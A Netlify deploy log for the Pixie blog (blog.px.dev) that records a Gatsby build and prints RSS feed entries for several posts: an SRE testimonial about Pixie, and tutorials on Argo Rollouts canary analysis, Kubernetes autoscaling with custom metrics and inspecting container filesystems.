Deploy details | Deploys | blog-px-dev

6:33:57 AM: Netlify Build

6:33:57 AM: ────────────────────────────────────────────────────────────────

6:33:57 AM:

6:33:57 AM: ❯ Version

6:33:57 AM: @netlify/build 29.16.3

6:33:57 AM:

6:33:57 AM: ❯ Flags

6:33:57 AM: baseRelDir: true

6:33:57 AM: buildId: 64b7839db15ec60008e5689b

6:33:57 AM: deployId: 64b7839db15ec60008e5689d

6:33:57 AM:

6:33:57 AM: ❯ Current directory

6:33:57 AM: /opt/build/repo

6:33:57 AM:

6:33:57 AM: ❯ Config file

6:33:57 AM: /opt/build/repo/netlify.toml

6:33:57 AM:

6:33:57 AM: ❯ Context

6:33:57 AM: deploy-preview

6:33:57 AM:

6:33:57 AM: ❯ Installing plugins

6:33:57 AM: - @netlify/plugin-lighthouse@4

6:34:07 AM:

6:34:07 AM: ❯ Loading plugins

6:34:07 AM: - @netlify/plugin-gatsby@3.6.2 from Netlify app and package.json

6:34:07 AM: - @netlify/plugin-lighthouse@4.1.1 from Netlify app

6:34:07 AM:

6:34:07 AM: ❯ Outdated plugins

6:34:07 AM: - @netlify/plugin-lighthouse@4.1.1: latest version is 5.0.0

6:34:07 AM: To upgrade this plugin, please uninstall and re-install it from the Netlify plugins directory (https://app.netlify.com/plugins)

6:34:08 AM:

6:34:08 AM: @netlify/plugin-gatsby (onPreBuild event)

6:34:08 AM: ────────────────────────────────────────────────────────────────

6:34:08 AM:

6:34:12 AM: Found a Gatsby cache. We’re about to go FAST. ⚡️

6:34:12 AM:

6:34:12 AM: (@netlify/plugin-gatsby onPreBuild completed in 3.3s)

6:34:12 AM:

6:34:12 AM: build.command from netlify.toml

6:34:12 AM: ────────────────────────────────────────────────────────────────

6:34:12 AM:

6:34:12 AM: $ yarn install && yarn lint && gatsby build

6:34:12 AM: yarn install v1.22.10

6:34:12 AM: [1/4] Resolving packages...

6:34:12 AM: success Already up-to-date.

6:34:12 AM: $ yarn run snyk-protect

6:34:12 AM: yarn run v1.22.10

6:34:12 AM: $ snyk-protect

6:34:13 AM: Nothing to patch.

6:34:13 AM: Done in 0.67s.

6:34:13 AM: Done in 1.37s.

6:34:13 AM: yarn run v1.22.10

6:34:13 AM: $ eslint '**/*.{js,jsx,ts,tsx}' && git ls-files '**/*.tsx' '**/*.ts' '**/*.js' '**/*.jsx' '**/*.scss' '**/*.py' | xargs -n1 tools/licenses/checker.py -f

6:34:19 AM: Done in 5.67s.

6:34:22 AM: success compile gatsby files - 2.170s

6:34:22 AM: success load gatsby config - 0.030s

6:34:23 AM: success load plugins - 0.690s

6:34:23 AM: warning gatsby-plugin-react-helmet: Gatsby now has built-in support for modifying the document head. Learn more at https://gatsby.dev/gatsby-head

6:34:23 AM: success onPreInit - 0.017s

6:34:23 AM: success delete worker cache from previous builds - 0.002s

6:34:23 AM: info One or more of your plugins have changed since the last time you ran Gatsby. As

6:34:23 AM: a precaution, we're deleting your site's cache to ensure there's no stale data.
success initialize cache - 0.058s

6:34:24 AM: success copy gatsby files - 0.100s

6:34:24 AM: success Compiling Gatsby Functions - 0.140s

6:34:24 AM: success onPreBootstrap - 0.147s

6:34:24 AM: success createSchemaCustomization - 0.007s

6:34:35 AM: success Checking for changed pages - 0.000s

6:34:35 AM: success source and transform nodes - 11.053s

6:34:35 AM: info Writing GraphQL type definitions to /opt/build/repo/.cache/schema.gql

6:34:35 AM: success building schema - 0.201s

6:34:35 AM: success createPages - 0.046s

6:34:35 AM: success createPagesStatefully - 0.043s

6:34:35 AM: info Total nodes: 718, SitePage nodes: 54 (use --verbose for breakdown)

6:34:35 AM: success Checking for changed pages - 0.000s

6:34:35 AM: success Cleaning up stale page-data - 0.001s

6:34:35 AM: success onPreExtractQueries - 0.000s

6:34:37 AM: success extract queries from components - 2.076s

6:34:37 AM: success write out redirect data - 0.001s

6:34:38 AM: success Build manifest and related icons - 0.051s

6:34:38 AM: success onPostBootstrap - 0.052s

6:34:38 AM: info bootstrap finished - 18.591s

6:34:38 AM: success write out requires - 0.002s

6:34:38 AM: warning [deprecated default-site-plugin] node.fs is deprecated. Please set resolve.fallback.fs = false.

6:34:58 AM: success Building production JavaScript and CSS bundles - 20.340s

6:34:58 AM: warning [deprecated default-site-plugin] node.fs is deprecated. Please set resolve.fallback.fs = false.

6:35:19 AM: success Building HTML renderer - 20.625s

6:35:19 AM: success Execute page configs - 0.048s

6:35:19 AM: success Caching Webpack compilations - 0.000s

6:35:32 AM: success run queries in workers - 13.130s - 57/57 4.34/s

6:35:32 AM: success Merge worker state - 0.003s

6:35:32 AM: success Rewriting compilation hashes - 0.001s

6:35:32 AM: success Writing page-data.json files to public directory - 0.021s - 54/54 2559.30/s

6:35:39 AM: success Building static HTML for pages - 4.702s - 54/54 11.48/s

6:35:39 AM: info [gatsby-plugin-netlify] Creating SSR/DSG redirects...

6:35:39 AM: info [gatsby-plugin-netlify] Created 0 SSR/DSG redirects...

6:35:41 AM: success index to Algolia - 1.846s - Done!

6:35:43 AM: {

6:35:43 AM: title: 'Adam Hawkins On Pixie',

6:35:43 AM: date: '2020-06-17',

6:35:43 AM: description: 'I, Adam Hawkins , recently tried Pixie. I was\n' +

6:35:43 AM: 'instantly impressed because it solved a recurring problem for me:\n' +

6:35:43 AM: 'application code changes…',

6:35:43 AM: url: 'https://blog.px.dev/adam-hawkins-on-pixie/',

6:35:43 AM: guid: 'https://blog.px.dev/adam-hawkins-on-pixie/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>I, <a href=https://hawkins.io>Adam Hawkins</a>, recently tried Pixie. I was\n' +

6:35:43 AM: 'instantly impressed because it solved a recurring problem for me:\n' +

6:35:43 AM: 'application code changes. Let me explain.</p><p>As an SRE, I'm responsible for operations, but am often unaware of the\n' +

6:35:43 AM: 'services internals. These services\n' +

6:35:43 AM: 'are black boxes to me. If the box is an HTTP service, then that\n' +

6:35:43 AM: 'requires telemetry on incoming request counts, latencies, and\n' +

6:35:43 AM: 'response status code--bonus points for p50, p90, and p95 latencies. My\n' +

6:35:43 AM: 'problem, and I'm guessing it's common to other SRE and DevOps teams,\n' +

6:35:43 AM: 'is that these services are often improperly instrumented. Before\n' +

6:35:43 AM: 'Pixie, we would have to wait on the dev team to add the required\n' +

6:35:43 AM: 'telemetry. Truthfully, that's just toil. It would be better for\n' +

6:35:43 AM: 'SREs, DevOps engineers, and application developers to have\n' +

6:35:43 AM: 'telemetry provided automatically via infrastructure. Enter Pixie.</p><p>Pixie is the first telemetry tool I've seen that provides\n' +

6:35:43 AM: 'operational telemetry out of the box with <strong>zero</strong> changes to\n' +

6:35:43 AM: 'application code. SREs can simply run <code>px deploy</code>, start collecting\n' +

6:35:43 AM: 'data, then begin troubleshooting in minutes.</p><p>It took me a bit to grok Pixie because it's different than\n' +

6:35:43 AM: 'tools like NewRelic or DataDog that I've used in the past. Tools like\n' +

6:35:43 AM: 'these are different than Pixie becauase:</p><ul><li>They require application code changes (like adding in\n' +

6:35:43 AM: 'client library or annotating Kubernetes manifests) to gather full\n' +

6:35:43 AM: 'telemetry.</li><li>They're largely GUI driven.</li><li>Telemetry is collected then shipped off to a centralized service\n' +

6:35:43 AM: '(which drives up the cost).</li></ul><p>Pixie is radically different.</p><ul><li>First, it integrates with eBPF so it can\n' +

6:35:43 AM: 'collect data about application traffic without application code\n' +

6:35:43 AM: 'changes. Pixie provides common HTTP telemetry (think request counts,\n' +

6:35:43 AM: 'latencies, and status codes) for all services running on your\n' +

6:35:43 AM: 'Kubernetes cluster. Better yet, Pixie generates service to service\n' +

6:35:43 AM: 'telemetry, so you're given a service map right out of the box.</li><li>Second, it bakes infrastructure-as-code principles into the core DX. Every\n' +

6:35:43 AM: 'Pixie Dashboard is a program, which you can manage with version\n' +

6:35:43 AM: 'control and distribute amongst your team, or even take with to\n' +

6:35:43 AM: 'different teams. Pixie also provides a terminal interface so you can\n' +

6:35:43 AM: 'interact with the dashboards directly in the CLI. That's a first for\n' +

6:35:43 AM: 'me and I loved it! These same scripts can also run in the browser.</li><li>Third, and lastly, Pixie's data storage and pricing model is\n' +

6:35:43 AM: 'different. Pixie keeps all telemetry data on your cluster, as a result\n' +

6:35:43 AM: 'the cost is signicantly lower. It's easy to pay $XXX,XXX dollars per\n' +

6:35:43 AM: 'year for other tools. Pixie's cost promises to be orders of\n' +

6:35:43 AM: 'magnitude less.</li></ul><p>Sounds interesting right?</p><p>Check out my demo video for quick\n' +

6:35:43 AM: 'walkthrough.</p><iframe width=560 height=315 src=https://www.youtube.com/embed/_MlD-hVjVok frameBorder=0 allow=accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture allowfullscreen=></iframe><p>Pixie is in free community beta right now. You can install it on your\n' +

6:35:43 AM: 'cluster and try it for yourself.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Automate Canary Analysis on Kubernetes with Argo',

6:35:43 AM: date: '2022-02-11',

6:35:43 AM: description: 'Deploying new code to your production cluster can be stressful. No matter how well the code has been tested, there’s always a risk that an…',

6:35:43 AM: url: 'https://blog.px.dev/argo-rollouts/',

6:35:43 AM: guid: 'https://blog.px.dev/argo-rollouts/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p><strong>Deploying new code to your production cluster can be stressful.</strong> No matter how well the code has been tested, there’s always a risk that an issue won’t surface until exposed to real customer traffic. To minimize any potential impact on your customers, you’ll want to maintain tight control over the progression of your application updates.</p><p>The native Kubernetes Deployment supports <a href=https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#strategy>two strategies</a> for replacing old pods with new ones:</p><ul><li><code>Recreate</code>: version A is terminated then version B is rolled out. Results in downtime between shutdown and reboot of the application.</li><li><code>RollingUpdate</code> (default): version B is slowly rolled out replacing version A.</li></ul><p>Unfortunately, neither provides much control. Once a <code>RollingUpdate</code> is in progress, you have little control over the speed of the rollout or the split of the traffic between version A and B. If an issue is discovered, you can halt the progression, but automated rollbacks are not supported. Due to these limitations, RollingUpdate is generally considered too risky for large scale production environments.</p><p>In this post, we’ll discuss how a canary deployment strategy can reduce risk and give you more control during application updates. We’ll walk through how to perform a canary deployment with <a href=https://argoproj.github.io/rollouts/>Argo Rollouts</a> including automated analysis of the canary pods to determine whether to promote or rollback a new application version. As an example, we’ll use <a href=https://github.com/pixie-io/pixie>Pixie</a>, an open source Kubernetes observability tool, to generate HTTP error rate for the canary pods.</p><p>The source code and instructions for this example live <a href=https://github.com/pixie-io/pixie-demos/tree/main/argo-rollouts-demo>here</a>.</p><h2>Canary Deployments</h2><p>A canary deployment involves directing a small amount of traffic to the updated version of a service that has been deployed alongside the stable production version. This strategy allows you to verify that the new code works in production before rolling out the change to the rest of your pods.</p><p>The typical flow for a canary deployment looks something like this:</p><ol><li>Run the existing stable version of the service alongside the new canary version of the service in the production K8s cluster.</li><li>Split and scale traffic between the two versions.</li><li>Analyze how the canary version is performing.</li><li>Based on the results of the canary analysis either replace the stable version with the newer canary version or rollback to the stable version.</li></ol><div class=image-m><svg title=A canary deployment strategy reduces risk by diverting a small amount of traffic to the new version. Metrics from the canary release inform the decision to increase traffic or rollback. src=canary-deploy.png></svg></div><p>A canary release doesn’t guarantee that you will identify all issues with your new application version. However, a carefully designed canary configuration can maximize your chance of catching an issue before the new version is fully rolled out.</p><h3>How much traffic should the canary get?</h3><p>Too little traffic can make it harder to detect problems, but too much traffic will impact more users in the event that an issue is discovered with the canary release. As a general rule, aim to direct 5-10% of your traffic to the canary release. If possible, you should time your canary deploys to overlap with your peak traffic period.</p><h3>How long should the analysis run?</h3><p>There’s no correct answer to this question, but you’re trading off better data with reduced development velocity. One strategy is to implement a short first step (e.g. 5 min) so that you can fail fast for any obvious issues, with longer steps to follow if the first step succeeds. Analysis should also be tailored per service so that critical services are monitored for longer periods of time.</p><h3>Which metrics should I analyze?</h3><p>For API based services it is common to measure the following metrics:</p><ul><li><strong>Error Rate</strong>: the percentage of 4xx+ responses</li><li><strong>Latency</strong>: the length of time between when the service receives a request and when it returns a response.</li><li><strong>Throughput</strong>: how many requests a service is handling per second</li></ul><p>However, these metrics may differ depending on the specific profile of your service.</p><h2>Why Argo Rollouts?</h2><p>You can manually perform a canary deployment <a href=https://github.com/ContainerSolutions/k8s-deployment-strategies/tree/master/canary/native#in-practice>using native Kubernetes</a>, but the benefit of using Argo Rollouts is that the controller manages these steps for you. Another advantage of Argo is that it supports traffic splitting without using a mesh provider.</p><p><a href=https://argoproj.github.io/rollouts/>Argo Rollouts</a> is a Kubernetes controller and set of CRDs, including the</p><ul><li><code>Rollout</code> resource: a drop-in replacement for the native Kubernetes Deployment resource. Contains the recipe for splitting traffic and performing analysis on the canary version.</li><li><code>AnalysisTemplate</code> resource: contains instructions on which metrics to query and defines the success criteria for the analysis.</li></ul><p>The combination of these two CRDs provide the configurability needed to give you fine grained control over the speed of the rollout, the split of the traffic between the old and new application versions, and the analysis performed on the new canary version.</p><h3>Defining the application <code>Rollout</code></h3><p>The <a href=https://argoproj.github.io/argo-rollouts/features/specification/>Rollout</a> resource defines how to perform the canary deployment.</p><p>Our <a href=https://github.com/pixie-io/pixie-demos/blob/main/argo-rollouts-demo/canary/rollout-with-analysis.yaml><code>rollout-with-analysis</code></a> template (shown below) does the following:</p><ul><li>Runs background analysis to check the canary pod’s HTTP error rate every 30 seconds during deployment. If the error rate exceeds the value defined in the AnalysisTemplate, the Rollout should fail immediately.</li><li>At first, only 10% of application traffic is redirected to the canary. This value is scaled up to 50% in the second step. Each step has a 60 second pause to give the analysis time to gather multiple values.</li></ul><p><em>Note that this canary rollout configuration does not respect the best practices laid out in the beginning of this article. Instead, the values are chosen to allow for a quick 2 min demo.</em></p><pre><code class=language-yaml>apiVersion: argoproj.io/v1alpha1\n' +

6:35:43 AM: 'kind: Rollout\n' +

6:35:43 AM: 'metadata:\n' +

6:35:43 AM: ' name: canary-demo\n' +

6:35:43 AM: 'spec:\n' +

6:35:43 AM: ' replicas: 5\n' +

6:35:43 AM: ' revisionHistoryLimit: 1\n' +

6:35:43 AM: ' selector:\n' +

6:35:43 AM: ' matchLabels:\n' +

6:35:43 AM: ' app: canary-demo\n' +

6:35:43 AM: ' strategy:\n' +

6:35:43 AM: ' canary:\n' +

6:35:43 AM: ' analysis:\n' +

6:35:43 AM: ' templates:\n' +

6:35:43 AM: ' - templateName: http-error-rate-background\n' +

6:35:43 AM: ' args:\n' +

6:35:43 AM: ' - name: namespace\n' +

6:35:43 AM: ' value: default\n' +

6:35:43 AM: ' - name: service-name\n' +

6:35:43 AM: ' value: canary-demo\n' +

6:35:43 AM: ' - name: canary-pod-hash\n' +

6:35:43 AM: ' valueFrom:\n' +

6:35:43 AM: ' podTemplateHashValue: Latest\n' +

6:35:43 AM: ' canaryService: canary-demo-preview\n' +

6:35:43 AM: ' steps:\n' +

6:35:43 AM: ' - setWeight: 10\n' +

6:35:43 AM: ' - pause: {duration: 60s}\n' +

6:35:43 AM: ' - setWeight: 50\n' +

6:35:43 AM: ' - pause: {duration: 60s}\n' +

6:35:43 AM: '</code></pre><h3>Defining the application <code>AnalysisTemplate</code></h3><p>The <a href=https://argoproj.github.io/argo-rollouts/features/analysis/>AnalysisTemplate</a> defines how to perform the canary analysis and how to interpret if the resulting metric is acceptable.</p><p>Argo Rollouts provides several ways to perform analysis of a canary deployment:</p><ul><li>Query an observability provider (Prometheus, New Relic, etc)</li><li>Run a Kubernetes Job</li><li>Make an HTTP request to some service</li></ul><p>Querying an observability provider is the most common strategy and <a href=https://argoproj.github.io/argo-rollouts/features/analysis/>straightforward to set up</a>. We’ll take a look at one of the less documented options: we’ll spin up our own metrics server service which will return a metric in response to an HTTP request.</p><p>Our metric server will use Pixie to generate a wide range of custom metrics. However, the approach detailed below can be used for any metrics provider you have, not just Pixie.</p><p>The <a href=https://github.com/pixie-io/pixie-demos/blob/main/argo-rollouts-demo/canary/pixie-analysis.yaml><code>http-error-rate-background</code></a> template (shown below) checks the HTTP error rate percentage every 30 seconds (after an initial 30s delay). This template is used as a fail-fast mechanism and runs throughout the rollout.</p><pre><code class=language-yaml>apiVersion: argoproj.io/v1alpha1\n' +

6:35:43 AM: 'kind: AnalysisTemplate\n' +

6:35:43 AM: 'metadata:\n' +

6:35:43 AM: ' name: http-error-rate-background\n' +

6:35:43 AM: 'spec:\n' +

6:35:43 AM: ' args:\n' +

6:35:43 AM: ' - name: service-name\n' +

6:35:43 AM: ' - name: namespace\n' +

6:35:43 AM: ' - name: canary-pod-hash\n' +

6:35:43 AM: ' metrics:\n' +

6:35:43 AM: ' - name: webmetric\n' +

6:35:43 AM: ' successCondition: result <= 0.1\n' +

6:35:43 AM: ' interval: 30s\n' +

6:35:43 AM: ' initialDelay: 30s\n' +

6:35:43 AM: ' provider:\n' +

6:35:43 AM: ' web:\n' +

6:35:43 AM: ' url: "http://px-metrics.px-metrics.svc.cluster.local/error-rate/{{args.namespace}}/{{args.service-name}}-{{args.canary-pod-hash}}"\n' +

6:35:43 AM: ' timeoutSeconds: 20\n' +

6:35:43 AM: ' jsonP'... 7265 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Horizontal Pod Autoscaling with Custom Metrics in Kubernetes',

6:35:43 AM: date: '2021-10-20',

6:35:43 AM: description: 'Sizing a Kubernetes deployment can be tricky . How many pods does this deployment need? How much CPU/memory should I allocate per pod? The…',

6:35:43 AM: url: 'https://blog.px.dev/autoscaling-custom-k8s-metric/',

6:35:43 AM: guid: 'https://blog.px.dev/autoscaling-custom-k8s-metric/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p><strong>Sizing a Kubernetes deployment can be tricky</strong>. How many pods does this deployment need? How much CPU/memory should I allocate per pod? The optimal number of pods varies over time, too, as the amount of traffic to your application changes.</p><p>In this post, we'll walk through how to autoscale your Kubernetes deployment by custom application metrics. As an example, we'll use Pixie to generate a custom metric in Kubernetes for HTTP requests/second by pod.</p><p>Pixie is a fully open source, CNCF sandbox project that can be used to generate a wide range of custom metrics. However, the approach detailed below can be used for any metrics datasource you have, not just Pixie.</p><p>The full source code for this example lives <a href=https://github.com/pixie-io/pixie-demos/tree/main/custom-k8s-metrics-demo>here</a>. If you want to go straight to autoscaling your deployments by HTTP throughput, it can be used right out of the box.</p><h2>Metrics for autoscaling</h2><p>Autoscaling allows us to automatically allocate more pods/resources when the application is under heavy load, and deallocate them when the load falls again. This helps to provide a stable level of performance in the system without wasting resources.</p><div class=image-xl><svg title=Autoscaling the number of pods in a deployment based on deployment performance. src=autoscaling-diagram.svg></svg></div><p><strong>The best metric to select for autoscaling depends on the application</strong>. Here is a (very incomplete) list of metrics that might be useful, depending on the context:</p><ul><li>CPU</li><li>Memory</li><li>Request throughput (HTTP, SQL, Kafka…)</li><li>Average, P90, or P99 request latency</li><li>Latency of downstream dependencies</li><li>Number of outbound connections</li><li>Latency of a specific function</li><li>Queue depth</li><li>Number of locks held</li></ul><p>Identifying and generating the right metric for your deployment isn't always easy. CPU or memory are tried and true metrics with wide applicability. They're also comparatively easier to grab than application-specific metrics (such as request throughput or latency).</p><p><strong>Capturing application-specific metrics can be a real hassle.</strong> It's a lot easier to fall back to something like CPU usage, even if it doesn't reflect the most relevant bottleneck in our application. In practice, just getting access to the right data is half the battle. Pixie can automatically collect telemetry data with <a href=https://docs.px.dev/about-pixie/pixie-ebpf/>eBPF</a> (and therefore without changes to the target application), which makes this part easier.</p><p>The other half of the battle (applying that data to the task of autoscaling) is well supported in Kubernetes!</p><h2>Autoscaling in Kubernetes</h2><p>Let's talk more about the options for autoscaling deployments in Kubernetes. Kubernetes offers two types of autoscaling for pods.</p><p><strong>Horizontal Pod Autoscaling</strong> (<a href=https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/>HPA</a>) automatically increases/decreases the <em>number</em> of pods in a deployment.</p><p><strong>Vertical Pod Autoscaling</strong> (<a href=https://github.com/kubernetes/autoscaler/tree/master/vertical-pod-autoscaler>VPA</a>) automatically increases/decreases <em>resources</em> allocated to the pods in your deployment.</p><p>Kubernetes provides built-in support for autoscaling deployments based on resource utilization. Specifically, you can autoscale your deployments by CPU or Memory with just a few lines of YAML:</p><pre><code class=language-yaml>apiVersion: autoscaling/v2beta2\n' +

6:35:43 AM: 'kind: HorizontalPodAutoscaler\n' +

6:35:43 AM: 'metadata:\n' +

6:35:43 AM: ' name: my-cpu-hpa\n' +

6:35:43 AM: 'spec:\n' +

6:35:43 AM: ' scaleTargetRef:\n' +

6:35:43 AM: ' apiVersion: apps/v1\n' +

6:35:43 AM: ' kind: Deployment\n' +

6:35:43 AM: ' name: my-deployment\n' +

6:35:43 AM: ' minReplicas: 1\n' +

6:35:43 AM: ' maxReplicas: 10\n' +

6:35:43 AM: ' metrics:\n' +

6:35:43 AM: ' - type: Resource\n' +

6:35:43 AM: ' resource:\n' +

6:35:43 AM: ' name: cpu\n' +

6:35:43 AM: ' target:\n' +

6:35:43 AM: ' type: Utilization\n' +

6:35:43 AM: ' averageUtilization: 50\n' +

6:35:43 AM: '</code></pre><p>This makes sense, because CPU and memory are two of the most common metrics to use for autoscaling. However, like most of Kubernetes, Kubernetes autoscaling is also <em>extensible</em>. Using the Kubernetes custom metrics API, <strong>you can create autoscalers that use custom metrics that you define</strong> (more on this soon).</p><p>If I've defined a custom metric, <code>my-custom-metric</code>, the YAML for the autoscaler might look like this:</p><pre><code class=language-yaml>apiVersion: autoscaling/v2beta2\n' +

6:35:43 AM: 'kind: HorizontalPodAutoscaler\n' +

6:35:43 AM: 'metadata:\n' +

6:35:43 AM: ' name: my-custom-metric-hpa\n' +

6:35:43 AM: 'spec:\n' +

6:35:43 AM: ' scaleTargetRef:\n' +

6:35:43 AM: ' apiVersion: apps/v1\n' +

6:35:43 AM: ' kind: Deployment\n' +

6:35:43 AM: ' name: my-deployment\n' +

6:35:43 AM: ' minReplicas: 1\n' +

6:35:43 AM: ' maxReplicas: 10\n' +

6:35:43 AM: ' metrics:\n' +

6:35:43 AM: ' - type: Pods\n' +

6:35:43 AM: ' pods:\n' +

6:35:43 AM: ' metric:\n' +

6:35:43 AM: ' name: my-custom-metric\n' +

6:35:43 AM: ' target:\n' +

6:35:43 AM: ' type: AverageValue\n' +

6:35:43 AM: ' averageUtilization: 20\n' +

6:35:43 AM: '</code></pre><p>How can I give the Kubernetes autoscaler access to this custom metric? We will need to implement a custom metric API server, which is covered next.</p><h2>Kubernetes Custom Metric API</h2><p>In order to autoscale deployments based on custom metrics, we have to provide Kubernetes with the ability to fetch those custom metrics from within the cluster. This is exposed to Kubernetes as an API, which you can read more about <a href=https://github.com/kubernetes/community/blob/master/contributors/design-proposals/instrumentation/custom-metrics-api.md>here</a>.</p><p>The custom metrics API in Kubernetes associates each metric with a particular resource:</p><p><code>/namespaces/example-ns/pods/example-pod/{my-custom-metric}</code>\n' +

6:35:43 AM: 'fetches <code>my-custom-metric</code> for pod <code>example-ns/example-pod</code>. </p><p>The Kubernetes custom metrics API also allows fetching metrics by selector:</p><p><code>/namespaces/example-ns/pods/*/{my-custom-metric}</code>\n' +

6:35:43 AM: 'fetches <code>my-custom-metric</code> for all of the pods in the namespace <code>example-ns</code>. </p><p><strong>In order for Kubernetes to access our custom metric, we need to create a custom metric server that is responsible for serving up the metric.</strong> Luckily, the <a href=https://github.com/kubernetes/community/tree/master/sig-instrumentation>Kubernetes Instrumentation SIG</a> created a <a href=https://github.com/kubernetes-sigs/custom-metrics-apiserver>framework</a> to make it easy to build custom metrics servers for Kubernetes.</p><div class=image-l><svg alt=The autoscaler calls out to the custom metric server to make scale-up/scale-down decisions. src=physical-layout.svg></svg></div><p>All that we needed to do was implement a Go server meeting the framework's interface:</p><pre><code class=language-go>type CustomMetricsProvider interface {\n' +

6:35:43 AM: ' // Fetches a single metric for a single resource.\n' +

6:35:43 AM: ' GetMetricByName(ctx context.Context, name types.NamespacedName, info CustomMetricInfo, metricSelector labels.Selector) (*custom_metrics.MetricValue, error)\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' // Fetch all metrics matching the input selector, i.e. all pods in a particular namespace.\n' +

6:35:43 AM: ' GetMetricBySelector(ctx context.Context, namespace string, selector labels.Selector, info CustomMetricInfo, metricSelector labels.Selector) (*custom_metrics.MetricValueList, error)\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' // List all available metrics.\n' +

6:35:43 AM: ' ListAllMetrics() []CustomMetricInfo\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><h2>Implementing a Custom Metric Server</h2><p>Our implementation of the custom metric server can be found <a href=https://github.com/pixie-io/pixie-demos/blob/main/custom-k8s-metrics-demo/pixie-http-metric-provider.go>here</a>. Here's a high-level summary of the basic approach:</p><ul><li>In <code>ListAllMetrics</code>, the custom metric server defines a custom metric, <code>px-http-requests-per-second</code>, on the Pod resource type.</li><li>The custom metric server queries Pixie's <a href=https://docs.px.dev/reference/api/overview>API</a> every 30 seconds in order to generate the metric values (HTTP requests/second, by pod).</li><li>These values can be fetched by subsequent calls to <code>GetMetricByName</code> and <code>GetMetricBySelector</code>.</li><li>The server caches the results of the query to avoid unnecessary recomputation every time a metric is fetched.</li></ul><p>The custom metrics server contains a <a href=https://github.com/pixie-io/pixie-demos/blob/main/custom-k8s-metrics-demo/pixie-http-metric-provider.go#L33-L48>hard-coded</a> PxL script (Pixie's <a href=https://docs.px.dev/reference/pxl/>query language</a>) in order to compute HTTP requests/second by pod. PxL is very flexible, so we could easily extend this script to generate other metrics instead (latency by pod, requests/second in a different protocol like SQL, function latency, etc). </p><p>It's important to generate a custom metric for every one of your pods, because the Kubernetes autoscaler will not assume a zero-value for a pod without a metric associated. One early bug our implementation had was omitting the metric for pods that didn't have any HTTP requests.</p><h2>Testing and Tuning</h2><p>We can sanity check our custom metric via the <code>kubectl</code> API:</p><pre><code class=language-bash>kubectl [-n <ns>] get --raw "/apis/custom.metrics.k8s.io/v1beta2/namespaces/default/pods/*/px-http-requests-per-second"\n' +

6:35:43 AM: '</code></pre><p>Let's try it on a demo application, a simple echo server. The echo serv'... 4318 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: Where are my container's files? Inspecting container filesystems,

6:35:43 AM: date: '2021-11-04',

6:35:43 AM: description: 'If you work a lot with containers, then there’s a good chance you’ve wanted to look inside a running container’s filesystem at some point…',

6:35:43 AM: url: 'https://blog.px.dev/container-filesystems/',

6:35:43 AM: guid: 'https://blog.px.dev/container-filesystems/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>If you work a lot with containers, then there’s a good chance you’ve wanted to look inside a running container’s filesystem at some point. Maybe the container is failing to run properly and you want to read some logs, maybe you want to check some configuration files inside the container...or maybe you’re like me and want to place some eBPF probes on the binaries in that container (more on this later).</p><p>No matter the reason, in this post, we’ll cover a few methods you can use to inspect the files inside a container.</p><p>We’ll start with the easy and commonly recommended ways of exploring a container’s filesystem, and talk about why they don’t always work. We’ll follow that up with a basic understanding of how container filesystems are managed by the Linux kernel, and we’ll use that understanding to inspect the filesystem in different, but still easy, ways.</p><h2>Method 1: Exec into the container</h2><p>If you perform a quick search on how to inspect a container’s filesystem, a common solution you’ll find is to use the <a href=https://docs.docker.com/engine/reference/commandline/exec/>Docker command</a> (<a href=https://stackoverflow.com/questions/20813486/exploring-docker-containers-file-system>[1]</a>, <a href=https://www.baeldung.com/ops/docker-container-filesystem>[2]</a>):</p><pre><code class=language-bash>docker exec -it mycontainer /bin/bash\n' +

